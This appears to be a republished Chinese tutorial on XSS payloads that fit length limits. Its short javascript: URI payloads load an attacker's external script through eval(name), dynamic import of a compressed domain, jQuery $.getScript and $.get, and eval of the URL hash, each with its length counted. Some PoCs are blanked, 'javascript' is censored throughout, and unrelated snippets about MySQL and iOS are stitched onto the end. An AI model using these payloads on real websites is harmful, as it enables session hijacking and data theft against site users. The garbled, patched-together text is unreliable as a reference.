XSS有長度限制?試試這幾招

2022-09-23 16:36:14 字數 2138 閱讀 1345

在某些情況下,你可以執行j**ascript**,但是卻只能使用alert,因為它對字元輸入長度做了限制。我最近看了一篇hackerone的報告,情況完全相同,所以我決定寫這篇文章。報告作者能夠成功執行任意j**ascript指令碼,不過他的payload有些複雜,而且需要使用者互動,光憑這一點,就極大的降低了漏洞的嚴重性,而且毫無疑問,漏洞成效也會大打折扣。

我個人認為,更好的poc是從攻擊者控制的域中載入外部j**ascript指令碼。本文列出了幾種呼叫外部j**ascript指令碼的方法,並且使用盡可能少的字元。

假如我們的payload輸出在href屬性內,並且限制輸入32個字元。

">click

方法一eval(name)

這可能是我們可以執行任意j**ascript指令碼的最短payload。name屬性可以傳遞任何內容,而且可以跨域。這樣一來我們就可以利用了,我們現在就可以沒有任何限制的執行我們的payload了,除非網頁重寫了name屬性。

poc如下:

· "d=document;s=d.createelement('script');s.src='';d.body.appendchild(s)";open('','_self')

payload長度:

'j**ascript:eval(name)'.length==21

方法二import

這是另外一種用來載入外部j**ascript指令碼的最短的payload,不過僅僅適用於基於chromium核心的瀏覽器。

poc如下:

payload長度:

'j**ascript:import(/\㎠.㎺/)'.length==24

方法三$.getscript

這是乙個典型的jquery函式,用來載入外部j**ascript指令碼,該指令碼在全域性環境下獲取和執行,跟在script標籤裡載入一樣。不過,這個方法要求漏洞頁面載入了jquery。

poc如下:

payload長度:

'j**ascript:$.getscript(/\㎠.㎺/)'.length==29

方法四$.get

這是另外乙個jquery函式,它也是可以載入和執行外部j**ascript指令碼的,不過,它需要返回的content-type型別設定為text/j**ascript。其實,這是jquery3.0.0版本之前的乙個漏洞。

poc如下:

payload長度:

'j**ascript:$.get(/\㎠.㎺/)'.length==23

方法五使用現有元素或屬性

查詢使用者部分可控或者完全可控的html元素和j**ascript屬性是很常見的情況。不過這需要慢慢去找,但在利用長度受限的xss時也是大有幫助的。例如,大多數採用ajax的應用為了便於導航都會儲存hash標誌符。但是如果不用來進行導航呢?

如果乙個頁面儲存hash如下:

const hash = document.location.hash;

我們可以利用它來載入外部指令碼,像下面這樣:

eval("'"+hash)

poc如下:

· hash=document.location.hash;click#';d=document;s=d.createelement('script');s.src='';d.body.appendchild(s)

payload長度:

`j**ascript:eval("'"+hash)`.length==25

除了上面的集中方法外,還有很多其他的方法也可以載入外部的j**ascript指令碼。比如下面這幾種方法,不過我這裡沒有例子。

· 其他庫

· 使用不同的選擇器

· 使用dom屬性,變形(比如image id)

在某些情況下,點選了j**ascript uri時,firefox會進行導航。為了防止導航,我們需要引入乙個錯誤。因此,有乙個方法就是可以在每個payload結尾新增 ;q 這個東西。新增後,payload就像下面這樣:

j**ascript:eval(name);q

//這樣做就可以防止導航,因為q未定義

最後,值得注意的是也可以在j**ascript url上下文環境中使用url編碼,如下:

click

poc如下:

· https:/?xss = 點選

group concat有長度限制

篩選一批資料的id,列轉行時,發現一部分id被擷取的不見了,遂記錄下來以防忘記。用了group concat後,select裡如果使用了limit是不起作用的.用group concat連線欄位的時候是有長度限制的,並不是有多少連多少,一旦查詢的資料超過1024,就會自動擷取。但你可以設定一下。使用...

限制textField長度

在 iphone 應用裡經常要限制使用者輸入字元的長度,比如密碼輸入框規定密碼長度是 x 到 y 位,下面這段 可以讓 uitextfield 限制輸入長度。bool textfield uitextfield textfield shouldchangecharactersinrange nsra...

mysql GROUP CONCAT長度限制

在mysql中,有個函式叫 group concat 平常使用可能發現不了問題,在處理大資料的時候,會發現內容被擷取了,其實mysql內部對這個是有設定的,預設不設定的長度是1024,如果我們需要更大,就需要手工去修改配置檔案。解決辦法 group concat將某一字段的值按指定的字元進行累加,系...